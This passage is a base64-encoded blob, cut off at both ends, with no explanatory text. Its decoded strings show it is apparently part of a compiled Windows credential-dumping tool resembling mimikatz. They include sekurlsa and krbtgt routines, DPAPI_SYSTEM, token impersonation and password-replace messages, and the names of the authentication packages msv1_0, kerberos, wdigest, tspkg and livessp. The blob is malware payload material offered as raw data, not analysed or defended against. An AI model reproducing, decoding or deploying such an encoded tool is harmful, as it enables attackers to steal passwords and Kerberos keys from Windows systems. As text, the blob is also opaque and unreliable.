JpQUd3QVpRQWdBSFFBYndBZ0FHWUFhUUJ1QUdRQUlBQkxBRVFBUXdBZ0FIQUFZUUIwQUhRQVpRQnlBRzRBSUFCcEFHNEFJQUJNQUZNQVFRQlRBRk1BSUFCdEFHVUFiUUJ2QUhJQWVRQUtBQUFBQUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBY3dCbEFHc0FkUUJ5QUd3QWN3QmhBRjhBYXdCeUFHSUFkQUJuQUhRQUlBQTdBQ0FBU3dCRUFFTUFJQUJ6QUdVQWNnQjJBR2tBWXdCbEFDQUFiZ0J2QUhRQUlBQnBBRzRBSUFCTUFGTUFRUUJUQUZNQUlBQnRBR1VBYlFCdkFISUFlUUFLQUFBQUNnQWxBSE1BSUFCckFISUFZZ0IwQUdjQWRBQTZBQ0FBQUFBQUFBQUFBQUFsQUhVQUlBQmpBSElBWlFCa0FHVUFiZ0IwQUdrQVlRQnNBSE1BQ2dBQUFBa0FJQUFxQUNBQUpRQnpBQ0FBT2dBZ0FBQUFBQUFBQUVRQVVBQkJBRkFBU1FCZkFGTUFXUUJUQUZRQVJRQk5BQW9BQUFBQUFBQUFaZ0IxQUd3QWJBQTZBQ0FBQUFBQUFBb0FiUUF2QUhVQUlBQTZBQ0FBQUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBY3dCbEFHc0FkUUJ5QUd3QWN3QmhBRjhBWkFCd0FHRUFjQUJwQUY4QWN3QjVBSE1BZEFCbEFHMEFJQUE3QUNBQVRnQnZBSFFBSUFCcEFHNEFhUUIwQUdrQVlRQnNBR2tBZWdCbEFHUUFJUUFLQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFITUFaUUJyQUhVQWNnQnNBSE1BWVFCZkFHUUFjQUJoQUhBQWFRQmZBSE1BZVFCekFIUUFaUUJ0QUNBQU93QWdBRkFBWVFCMEFIUUFaUUJ5QUc0QUlBQnVBRzhBZEFBZ0FHWUFid0IxQUc0QVpBQWdBR2tBYmdBZ0FFUUFVQUJCQUZBQVNRQWdBSE1BWlFCeUFIWUFhUUJqQUdVQUNnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCekFHVUFhd0IxQUhJQWJBQnpBR0VBWHdCa0FIQUFZUUJ3QUdrQVh3QnpBSGtBY3dCMEFHVUFiUUFnQURzQUlBQkVBRkFBUVFCUUFFa0FJQUJ6QUdVQWNnQjJBR2tBWXdCbEFDQUFiZ0J2QUhRQUlBQnBBRzRBSUFCTUFGTUFRUUJUQUZNQUlBQnRBR1VBYlFCdkFISUFlUUFLQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCekFHVUFhd0IxQUhJQWJBQnpBR0VBWHdCMEFISUFkUUJ6QUhRQUlBQTdBQ0FBVUFCaEFIUUFkQUJsQUhJQWJnQWdBRzRBYndCMEFDQUFaZ0J2QUhVQWJnQmtBQ0FBYVFCdUFDQUFTd0JFQUVNQUlBQnpBR1VBY2dCMkFHa0FZd0JsQUFvQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFITUFaUUJyQUhVQWNnQnNBSE1BWVFCZkFIUUFjZ0IxQUhNQWRBQWdBRHNBSUFCTEFFUUFRd0FnQUhNQVpRQnlBSFlBYVFCakFHVUFJQUJ1QUc4QWRBQWdBR2tBYmdBZ0FFd0FVd0JCQUZNQVV3QWdBRzBBWlFCdEFHOEFjZ0I1QUFvQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFjd0JsQUdzQWRRQnlBR3dBY3dCaEFGOEFkQUJ5QUhVQWN3QjBBQ0FBT3dBZ0FFOEFiZ0JzQUhrQUlBQm1BRzhBY2dBZ0FENEFQUUFnQURJQU1BQXdBRGdBY2dBeUFBb0FBQUFBQUFBQUNnQWdBQ0FBV3dBbEFITUFYUUFnQUFBQUFBQUFBQUFBTFFBK0FDQUFKUUIzQUZvQUNnQUFBQ1VBZHdCYUFDQUFMUUErQUFvQUFBQUpBR1lBY2dCdkFHMEFPZ0FnQUFBQUNRQXFBQ0FBSlFCekFDQUFPZ0FnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBSE1BWlFCckFIVUFjZ0JzQUhNQVlRQmZBR0lBYXdCbEFIa0FJQUE3QUNBQVVBQmhBSFFBZEFCbEFISUFiZ0FnQUc0QWJ3QjBBQ0FBWmdCdkFIVUFiZ0JrQUNBQWFRQnVBQ0FBUkFCUUFFRUFVQUJKQUNBQWN3QmxBSElBZGdCcEFHTUFaUUFLQUFBQUFBQUFBQUFBYVFCdEFIQUFaUUJ5QUhNQWJ3QnVBR0VBZEFCbEFBQUFjZ0IxQUc0QUFBQjVBR1VBY3dBQUFHNEFid0FBQUFBQUFBQUFBQUFBQUFCMUFITUFaUUJ5QUFrQU9nQWdBQ1VBY3dBS0FHUUFid0J0QUdFQWFRQnVBQWtBT2dBZ0FDVUFjd0FLQUhBQWNnQnZBR2NBY2dCaEFHMEFDUUE2QUNBQUpRQnpBQW9BYVFCdEFIQUFaUUJ5QUhNQUxnQUpBRG9BSUFBbEFITUFDZ0FBQUFBQUFBQUFBRUVBUlFCVEFERUFNZ0E0QUFrQU9nQWdBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWN3QmxBR3NBZFFCeUFHd0Fjd0JoQUY4QWNBQjBBR2dBSUFBN0FDQUFRUUJGQUZNQU1RQXlBRGdBSUFCckFHVUFlUUFnQUd3QVpRQnVBR2NBZEFCb0FDQUFiUUIxQUhNQWRBQWdBR0lBWlFBZ0FETUFNZ0FnQUNnQU1RQTJBQ0FBWWdCNUFIUUFaUUJ6QUNrQUNnQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWN3QmxBR3NBZFFCeUFHd0Fjd0JoQUY4QWNBQjBBR2dBSUFBN0FDQUFRUUJGQUZNQU1RQXlBRGdBSUFCckFHVUFlUUFnQUc4QWJnQnNBSGtBSUFCekFIVUFjQUJ3QUc4QWNnQjBBR1VBWkFBZ0FHWUFjZ0J2QUcwQUlBQlhBR2tBYmdCa0FHOEFkd0J6QUNBQU9BQXVBREVBSUFBb0FHOEFjZ0FnQURjQUx3QTRBQ0FBZHdCcEFIUUFhQUFnQUdzQVlnQXlBRGdBTndBeEFEa0FPUUEzQUNrQUNnQUFBRUVBUlFCVEFESUFOUUEyQUFrQU9nQWdBQUFBQUFBQUFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCekFHVUFhd0IxQUhJQWJBQnpBR0VBWHdCd0FIUUFhQUFnQURzQUlBQkJBRVVBVXdBeUFEVUFOZ0FnQUdzQVpRQjVBQ0FBYkFCbEFHNEFad0IwQUdnQUlBQnRBSFVBY3dCMEFDQUFZZ0JsQUNBQU5nQTBBQ0FBS0FBekFESUFJQUJpQUhrQWRBQmxBSE1BS1FBS0FBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCekFHVUFhd0IxQUhJQWJBQnpBR0VBWHdCd0FIUUFhQUFnQURzQUlBQkJBRVVBVXdBeUFEVUFOZ0FnQUdzQVpRQjVBQ0FBYndCdUFHd0FlUUFnQUhNQWRRQndBSEFBYndCeUFIUUFaUUJrQUNBQVpnQnlBRzhBYlFBZ0FGY0FhUUJ1QUdRQWJ3QjNBSE1BSUFBNEFDNEFNUUFnQUNnQWJ3QnlBQ0FBTndBdkFEZ0FJQUIzQUdrQWRBQm9BQ0FBYXdCaUFESUFPQUEzQURFQU9RQTVBRGNBS1FBS0FBQUFUZ0JVQUV3QVRRQUpBRG9BSUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWN3QmxBR3NBZFFCeUFHd0Fjd0JoQUY4QWNBQjBBR2dBSUFBN0FDQUFiZ0IwQUd3QWJRQWdBR2dBWVFCekFHZ0FMd0J5QUdNQU5BQWdBR3NBWlFCNUFDQUFiQUJsQUc0QVp3QjBBR2dBSUFCdEFIVUFjd0IwQUNBQVlnQmxBQ0FBTXdBeUFDQUFLQUF4QURZQUlBQmlBSGtBZEFCbEFITUFLUUFLQUFBQUlBQWdBSHdBSUFBZ0FGQUFTUUJFQUNBQUlBQWxBSFVBQ2dBZ0FDQUFmQUFnQUNBQVZBQkpBRVFBSUFBZ0FDVUFkUUFLQUFBQUFBQWdBQ0FBZkFBZ0FDQUFUQUJWQUVrQVJBQWdBQ1VBZFFBZ0FEc0FJQUFsQUhVQUlBQW9BQ1VBTUFBNEFIZ0FPZ0FsQURBQU9BQjRBQ2tBQ2dBQUFBQUFJQUFnQUZ3QVh3QWdBRzBBY3dCMkFERUFYd0F3QUNBQUlBQWdBQzBBSUFBQUFBQUFBQUFBQUNBQUlBQmNBRjhBSUFCckFHVUFjZ0JpQUdVQWNnQnZBSE1BSUFBdEFDQUFBQUFBQUFBQUFBQXFBQ29BSUFCVUFHOEFhd0JsQUc0QUlBQkpBRzBBY0FCbEFISUFjd0J2QUc0QVlRQjBBR2tBYndCdUFDQUFLZ0FxQUFvQUFBQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnpBR1VBYXdCMUFISUFiQUJ6QUdFQVh3QndBSFFBYUFBZ0FEc0FJQUJUQUdVQWRBQlVBR2dBY2dCbEFHRUFaQUJVQUc4QWF3QmxBRzRBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBY3dCbEFHc0FkUUJ5QUd3QWN3QmhBRjhBY0FCMEFHZ0FJQUE3QUNBQVJBQjFBSEFBYkFCcEFHTUFZUUIwQUdVQVZBQnZBR3NBWlFCdUFFVUFlQUFnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFITUFaUUJyQUhVQWNnQnNBSE1BWVFCZkFIQUFkQUJvQUNBQU93QWdBRWNBWlFCMEFGUUFid0JyQUdVQWJnQkpBRzRBWmdCdkFISUFiUUJoQUhRQWFRQnZBRzRBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFBQUFBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFjd0JsQUdzQWRRQnlBR3dBY3dCaEFGOEFjQUIwQUdnQUlBQTdBQ0FBVHdCd0FHVUFiZ0JRQUhJQWJ3QmpBR1VBY3dCekFGUUFid0JyQUdVQWJnQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUhNQVpRQnJBSFVBY2dCc0FITUFZUUJmQUhBQWRBQm9BQ0FBT3dBZ0FFTUFjZ0JsQUdFQWRBQmxBRkFBY2dCdkFHTUFaUUJ6QUhNQVZ3QnBBSFFBYUFCTUFHOEFad0J2QUc0QVZ3QWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWN3QmxBR3NBZFFCeUFHd0Fjd0JoQUY4QWNBQjBBR2dBSUFBN0FDQUFUUUJwQUhNQWN3QnBBRzRBWndBZ0FHRUFkQUFnQUd3QVpRQmhBSE1BZEFBZ0FHOEFiZ0JsQUNBQVlRQnlBR2NBZFFCdEFHVUFiZ0IwQUNBQU9nQWdBRzRBZEFCc0FHMEFMd0J5QUdNQU5BQWdBRThBVWdBZ0FHRUFaUUJ6QURFQU1nQTRBQ0FBVHdCU0FDQUFZUUJsQUhNQU1nQTFBRFlBQ2dBQUFBQUFBQUFBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFjd0JsQUdzQWRRQnlBR3dBY3dCaEFGOEFjQUIwQUdnQUlBQTdBQ0FBVFFCcEFITUFjd0JwQUc0QVp3QWdBR0VBY2dCbkFIVUFiUUJsQUc0QWRBQWdBRG9BSUFCa0FHOEFiUUJoQUdrQWJnQUtBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUhNQVpRQnJBSFVBY2dCc0FITUFZUUJmQUhBQWRBQm9BQ0FBT3dBZ0FFMEFhUUJ6QUhNQWFRQnVBR2NBSUFCaEFISUFad0IxQUcwQVpRQnVBSFFBSUFBNkFDQUFkUUJ6QUdVQWNnQUtBQUFBQUFBQUFBQUFDZ0FKQUNBQUtnQWdBRlVBY3dCbEFISUFiZ0JoQUcwQVpRQWdBRG9BSUFBbEFIY0FXZ0FLQUFrQUlBQXFBQ0FBUkFCdkFHMEFZUUJwQUc0QUlBQWdBQ0FBT2dBZ0FDVUFkd0JhQUFBQUFBQUtBQWtBSUFBcUFDQUFUQUJOQUNBQUlBQWdBQ0FBSUFBZ0FDQUFPZ0FnQUFBQUFBQUFBQUFBQ2dBSkFDQUFLZ0FnQUU0QVZBQk1BRTBBSUFBZ0FDQUFJQUFnQURvQUlBQUFBQUFBQUFBQUFBb0FDUUFnQUNvQUlBQlRBRWdBUVFBeEFDQUFJQUFnQUNBQUlBQTZBQ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQW9BQ1FBZ0FDb0FJQUJHQUd3QVlRQm5BSE1BSUFBZ0FDQUFJQUE2QUNBQVNRQWxBREFBTWdCNEFDOEFUZ0FsQURBQU1nQjRBQzhBVEFBbEFEQUFNZ0I0QUM4QVV3QWxBREFBTWdCNEFBQUFDZ0FKQUNBQUtnQWdBRklBWVFCM0FDQUFaQUJoQUhRQVlRQWdBRG9BSUFBQUFBQUFBQUFBQUFvQUNRQWdBQ29BSUFCVEFHMEFZUUJ5QUhRQVl3QmhBSElBWkFBQUFBQUFDZ0FKQUNBQUlBQWdBQ0FBSUFCUUFFa0FUZ0FnQUdNQWJ3QmtBR1VBSUFBNkFDQUFKUUIzQUZvQUFBQUFBQUFBQUFBQUFBQUFBQUFLQUFrQUlBQWdBQ0FBSUFBZ0FFTUFZUUJ5QUdRQUlBQWdBQ0FBSUFBZ0FEb0FJQUFsQUhNQUNnQUpBQ0FBSUFBZ0FDQUFJQUJTQUdVQVlRQmtBR1VBY2dBZ0FDQUFJQUE2QUNBQUpRQnpBQW9BQ1FBZ0FDQUFJQUFnQUNBQVF3QnZBRzRBZEFCaEFHa0FiZ0JsQUhJQU9nQWdBQ1VBY3dBS0FBa0FJQUFnQUNBQUlBQWdBRkFBY2dCdkFIWUFhUUJrQUdVQWNnQWdBRG9BSUFBbEFITUFBQUFBQUFBQUFBQUpBQ0FBSUFBZ0FDVUFjd0FnQUFBQVBBQnVBRzhBSUFCekFHa0FlZ0JsQUN3QUlBQmlBSFVBWmdCbUFHVUFjZ0FnQUdrQWN3QWdBR2tBYmdCakFHOEFjZ0J5QUdVQVl3QjBBRDRBQUFBQUFDVUFkd0JhQUFrQUpRQjNBRm9BQ1FBQUFBQUFBQUFBQUFvQUNRQWdBQ29BSUFCVkFITUFaUUJ5QUc0QVlRQnRBR1VBSUFBNkFDQUFKUUIzQUZvQUNnQUpBQ0FBS2dBZ0FFUUFid0J0QUdFQWFRQnVBQ0FBSUFBZ0FEb0FJQUFsQUhjQVdnQUtBQWtBSUFBcUFDQUFVQUJoQUhNQWN3QjNBRzhBY2dCa0FDQUFPZ0FnQUFBQUFBQk1BRlVBU1FCRUFDQUFTd0JQQUFvQUFBQUFBQUFBQUFBS0FBa0FJQUFxQUNBQVVnQnZBRzhBZEFCTEFHVUFlUUFnQUNBQU9nQWdBQUFBQUFBQUFBQUFDZ0FKQUNBQUtnQWdBRVFBVUFCQkFGQUFTUUFnQUNBQUlBQWdBRG9BSUFBQUFBQUFBQUFBQUFvQUNRQWdBQ29BSUFBbEFEQUFPQUI0QUNBQU9nQWdBQUFBQUFBQUFBQUFDZ0FKQUNBQUlBQWdBQ29BSUFCTUFGTUFRUUFnQUVrQWN3QnZBR3dBWVFCMEFHVUFaQUFnQUVRQVlRQjBBR0VBT2dBZ0FDVUFMZ0FxQUZNQUFBQUFBQW9BQ1FBZ0FDQUFJQUFnQUNBQVZRQnVBR3NBTFFCTEFHVUFlUUFnQUNBQU9nQWdBQUFBQUFBS0FBa0FJQUFnQUNBQUlBQWdBRVVBYmdCakFISUFlUUJ3QUhRQVpRQmtBRG9BSUFBQUFBQUFDZ0FKQUFrQUlBQWdBQ0FBVXdCVEFEb0FKUUIxQUN3QUlBQlVBRk1BT2dBbEFIVUFMQUFnQUVRQVV3QTZBQ1VBZFFBQUFBQUFBQUFLQUFrQUNRQWdBQ0FBSUFBd0FEb0FNQUI0QUNVQWVBQXNBQ0FBTVFBNkFEQUFlQUFsQUhnQUxBQWdBRElBT2dBd0FIZ0FKUUI0QUN3QUlBQXpBRG9BTUFCNEFDVUFlQUFzQUNBQU5BQTZBREFBZUFBbEFIZ0FMQUFnQUVVQU9nQUFBQUFBQUFBQUFDd0FJQUExQURvQU1BQjRBQ1VBZUFBQUFBQUFBQUFBQUFvQUNRQWdBRnNBSlFBd0FEZ0FlQUJkQUFBQUFBQUFBR1FBY0FCaEFIQUFhUUJ6QUhJQWRnQXVBR1FBYkFCc0FBQUFBQUFBQUFBQUNRQWdBRnNBSlFBd0FEZ0FlQUJkQUFvQUNRQWdBQ29BSUFCSEFGVUFTUUJFQUNBQUlBQWdBQ0FBSUFBZ0FEb0FDUUFBQUFBQUFBQUtBQWtBSUFBcUFDQUFWQUJwQUcwQVpRQWdBQ0FBSUFBZ0FDQUFJQUE2QUFrQUFBQUFBQUFBQ2dBSkFDQUFLZ0FnQUUwQVlRQnpBSFFBWlFCeUFFc0FaUUI1QUNBQU9nQUpBQUFBQUFBQUFBb0FDUUFnQUNvQUlBQnpBR2dBWVFBeEFDZ0Fhd0JsQUhrQUtRQWdBRG9BQ1FBQUFBQUFBQUFLQUFrQVN3QlBBQUFBQUFBQUFBQUFhd0JsQUhJQVlnQmxBSElBYndCekFDNEFaQUJzQUd3QUFBQUFBQUFBQUFCVUFHa0FZd0JyQUdVQWRBQWdBRWNBY2dCaEFHNEFkQUJwQUc0QVp3QWdBRk1BWlFCeUFIWUFhUUJqQUdVQUFBQkRBR3dBYVFCbEFHNEFkQUFnQUZRQWFRQmpBR3NBWlFCMEFDQUFQd0FBQUZRQWFRQmpBR3NBWlFCMEFDQUFSd0J5QUdFQWJnQjBBR2tBYmdCbkFDQUFWQUJwQUdNQWF3QmxBSFFBQUFBQUFBb0FDUUJIQUhJQWJ3QjFBSEFBSUFBbEFIVUFJQUF0QUNBQUpRQnpBQUFBQ2dBSkFDQUFLZ0FnQUVzQVpRQjVBQ0FBVEFCcEFITUFkQUFnQURvQUNnQUFBQUFBQUFBQUFHUUFZUUIwQUdFQUlBQmpBRzhBY0FCNUFDQUFRQUFnQUNVQWNBQUFBQUFBQ2dBZ0FDQUFJQUJjQUY4QUlBQWxBSE1BSUFBQUFBQUFMUUErQUNBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFITUFaUUJyQUhVQWNnQnNBSE1BWVFCZkFHVUFiZ0IxQUcwQVh3QnJBR1VBY2dCaUFHVUFjZ0J2QUhNQVh3QmpBR0VBYkFCc0FHSUFZUUJqQUdzQVh3QndBSFFBYUFBZ0FEc0FJQUJyQUhVQWJBQnNBRjhBYlFCZkFHMEFaUUJ0QUc4QWNnQjVBRjhBWXdCdkFIQUFlUUFnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUNnQWdBQ0FBSUFCY0FGOEFJQUFxQUZBQVlRQnpBSE1BZHdCdkFISUFaQUFnQUhJQVpRQndBR3dBWVFCakFHVUFJQUF0QUQ0QUlBQUFBQUFBQUFBQUFHNEFkUUJzQUd3QUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUhNQVpRQnJBSFVBY2dCc0FITUFZUUJmQUdzQVpRQnlBR0lBWlFCeUFHOEFjd0JmQUdVQWJnQjFBRzBBWHdCMEFHa0FZd0JyQUdVQWRBQnpBQ0FBT3dBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBWmdCcEFHd0FaUUJmQUhjQWNnQnBBSFFBWlFCRUFHRUFkQUJoQUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBQ2dBSkFDQUFJQUFnQUV3QVV3QkJBQ0FBVXdCbEFITUFjd0JwQUc4QWJnQWdBRXNBWlFCNUFDQUFJQUFnQURvQUlBQXdBSGdBSlFBd0FEZ0FlQUFnQUMwQUlBQWxBSE1BQUFBQUFBQUFBQUJiQUNVQWVBQTdBQ1VBZUFCZEFDMEFKUUF4QUhVQUxRQWxBSFVBTFFBbEFEQUFPQUI0QUMwQUpRQjNBRm9BUUFBbEFIY0FXZ0F0QUNVQWR3QmFBQzRBSlFCekFBQUFBQUJiQUNVQWVBQTdBQ1VBZUFCZEFDMEFKUUF4QUhVQUxRQWxBSFVBTFFBbEFEQUFPQUI0QUM0QUpRQnpBQUFBQUFCc0FHa0FkZ0JsQUhNQWN3QndBQzRBWkFCc0FHd0FBQUJRY21sdFlYSjVBRU55WldSbGJuUnBZV3hMWlhsekFBQUtBQWtBSUFCYkFDVUFNQUE0QUhnQVhRQWdBQ1VBV2dBQUFBQUFBQUFBQUdRQVlRQjBBR0VBSUFCakFHOEFjQUI1QUNBQVFBQWdBQ1VBY0FBZ0FEb0FJQUFBQUFBQUFBQlBBRXNBSUFBaEFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCekFHVUFhd0IxQUhJQWJBQnpBR0VBWHdCdEFITUFkZ0JmQUdVQWJnQjFBRzBBWHdCakFISUFaUUJrQUY4QVl3QmhBR3dBYkFCaUFHRUFZd0JyQUY4QWNBQjBBR2dBSUFBN0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCdEFHVUFiUUJ2QUhJQWVRQmZBR01BYndCd0FIa0FJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUM0QUFBQUFBQUFBQUFBQUFBQUFBQUJ1QUM0QVpRQXVBQ0FBS0FCTEFFa0FWd0JKQUY4QVRRQlRBRllBTVFCZkFEQUFYd0JRQUZJQVNRQk5BRUVBVWdCWkFGOEFRd0JTQUVVQVJBQkZBRTRBVkFCSkFFRUFUQUJUQUNBQVN3QlBBQ2tBQUFBQUFBQUFBQUFBQUFBQUFBQnVBQzRBWlFBdUFDQUFLQUJMQUVrQVZ3QkpBRjhBVFFCVEFGWUFNUUJmQURBQVh3QkRBRklBUlFCRUFFVUFUZ0JVQUVrQVFRQk1BRk1BSUFCTEFFOEFLUUFBQUFBQUFBQjBBSE1BY0FCckFHY0FMZ0JrQUd3QWJBQUFBQUFBQUFCM0FHUUFhUUJuQUdVQWN3QjBBQzRBWkFCc0FHd0FBQUFBQUFBQUFBQUFBRUZCUVVGQlFVRkJBQUFBQUFBQUFBQkNRa0pDUWtKQ1FnQUFBQUFBQUFBQVEwTkRRME5EUTBNQUFBQUFBQUFBQUVSRVJFUkVSRVJFQUFBQUFBQUFBQUJGUlVWRlJVVkZSUUFBQUFBQUFBQUFSa1pHUmtaR1JrWUFBQUFBQUFBQUFFZEhSMGRIUjBkSEFBQUFBQUFBQUFCSVNFaElTRWhJU0FBQUFBQUFBQUFBU1VsSlNVbEpTVWtBQUFBQUFBQUFBRXBLU2twS1NrcEtBQUFBQUFBQUFBQkxTMHRMUzB0TFN3QUFBQUFBQUFBQVRFeE1URXhNVEV3QUFBQUFBQUFBQUJjQUFBQVJBQUFBRWdBQUFBTUFBQUQvLy8vLy8vLy9mLy8vLy8vLy8vOS9BQUFBQUI2R2IxWUFBQUFBRFFBQUFPd0NBQUE4R2djQVBBWUhBQUFBQUFDVUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBR0hBSGdBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHRGtFZ0FFQUFBQWdPUVNBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUVWVVZ6QVFBQUFCaGc0RWlDc0ZpcnNGQlFBQUFBQUFBQUFBSUFBQUx3QUFTVzUyYjJ0bFRXRnBibFpwWVVOU1ZBQWlUV0ZwYmlCSmJuWnZhMlZrTGlJQUFrWnBiR1ZPWVcxbEFBRUZCUUFBQUFBQUFBQUFJQUFBTGdBQVJYaHBkRTFoYVc1V2FXRkRVbFFBSWsxaGFXNGdVbVYwZFhKdVpXUXVJZ0FDUm1sc1pVNWhiV1VBQVFJckFFMXBZM0p2YzI5bWRDNURVbFJRY205MmFXUmxjZ0FUQUFFYWMxQlB6NG1DUjdQZzNPakpCSGE2QVVkRFZFd0FFQUFBMndFQUFDNTBaWGgwQUFBQTRCRUFBRmNTQkFBdWRHVjRkQ1J0YmdBQUFBQkFKQVFBRWdBQUFDNTBaWGgwSkcxdUpEQXdBR0FrQkFCUUF3QUFMblJsZUhRa2VBQUFNQVFBR0FrQUFDNXBaR0YwWVNRMUFBQUFBQmc1QkFBUUFBQUFMakF3WTJabkFBQW9PUVFBQ0FBQUFDNURVbFFrV0VOQkFBQUFBREE1QkFBSUFBQUFMa05TVkNSWVExb0FBQUFBT0RrRUFBZ0FBQUF1UTFKVUpGaEpRUUFBQUFCQU9RUUFHQUFBQUM1RFVsUWtXRWxEQUFBQUFGZzVCQUFJQUFBQUxrTlNWQ1JZU1ZvQUFBQUFZRGtFQUFnQUFBQXVRMUpVSkZoUVFRQUFBQUJvT1FRQUVBQUFBQzVEVWxRa1dGQllBQUFBQUhnNUJBQUlBQUFBTGtOU1ZDUllVRmhCQUFBQWdEa0VBQWdBQUFBdVExSlVKRmhRV2dBQUFBQ0lPUVFBQ0FBQUFDNURVbFFrV0ZSQkFBQUFBSkE1QkFBSUFBQUFMa05TVkNSWVZGb0FBQUFBb0RrRUFPVGZBZ0F1Y21SaGRHRUFBSWdaQndBUUFBQUFMbkprWVhSaEpIcEZWRmN3QUFBQUFKZ1pCd0IzQUFBQUxuSmtZWFJoSkhwRlZGY3hBQUFBQUE4YUJ3QXNBQUFBTG5Ka1lYUmhKSHBGVkZjeUFBQUFBRHNhQndBQkFBQUFMbkprWVhSaEpIcEZWRmM1QUFBQUFEd2FCd0RzQWdBQUxuSmtZWFJoSkhwNmVtUmlad0FBQUNnZEJ3QUlBQUFBTG5KMFl5UkpRVUVBQUFBQU1CMEhBQWdBQUFBdWNuUmpKRWxhV2dBQUFBQTRIUWNBQ0FBQUFDNXlkR01rVkVGQkFBQUFBRUFkQndBSUFBQUFMbkowWXlSVVdsb0FBQUFBU0IwSEFKUWhBQUF1ZUdSaGRHRUFBT0ErQndCZkFBQUFMbVZrWVhSaEFBQkFQd2NBTEFFQUFDNXBaR0YwWVNReUFBQUFBR3hBQndBVUFBQUFMbWxrWVhSaEpETUFBQUFBZ0VBSEFCZ0pBQUF1YVdSaGRHRWtOQUFBQUFDWVNRY0E4aFlBQUM1cFpHRjBZU1EyQUFBQUFBQndCd0RZTndBQUxtUmhkR0VBQUFEZ3B3Y0FuQk1BQUM1aWMzTUFBQUFBQU1BSEFLQXBBQUF1Y0dSaGRHRUFBQUR3QndCWUFBQUFMbkp6Y21Na01ERUFBQUFBWVBBSEFDZ0NBQUF1Y25OeVl5UXdNZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVTQlFBU1lnNXdEV0FNVUFzd0FBQUJHQW9BR0dRS0FCaFVDUUFZTkFnQUdESVU4QkxnRUhBQkR3WUFEMlFIQUE4MEJnQVBNZ3R3QVFRQkFBVGlBQUFCQmdJQUJsSUNNQUVtQ2dBbUFSRUFHL0FaNEJmUUZjQVRjQkpnRVRBUVVBRUtCQUFLTkFjQUNqSUdjQUVZQ2dBWVpBNEFHRlFOQUJnMERBQVljaFR3RXVBUWNBRVFCZ0FRWkFnQUVEUUhBQkF5REhBQkhRd0FIWFFMQUIxa0NnQWRWQWtBSFRRSUFCMHlHZkFYNEJYQUFRb0VBQW8wQ2dBS2NnWndBU0FNQUNCa0RRQWdWQXdBSURRTEFDQXlIUEFhNEJqUUZzQVVjQUVZQmdBWVpBc0FHRFFLQUJoeUZIQUJHUW9BR1hRSkFCbGtDQUFaVkFjQUdUUUdBQmt5RmVBQkR3WUFEMVFKQUE4MENBQVBVZ3R3QVJJSUFCSlVDZ0FTTkFnQUVqSU80QXh3QzJBQkNnUUFDalFHQUFveUJuQUJHQVlBR0dRSEFCZzBCZ0FZTWhSd0FSa0tBQmwwRGdBWlpBMEFHVFFNQUJseU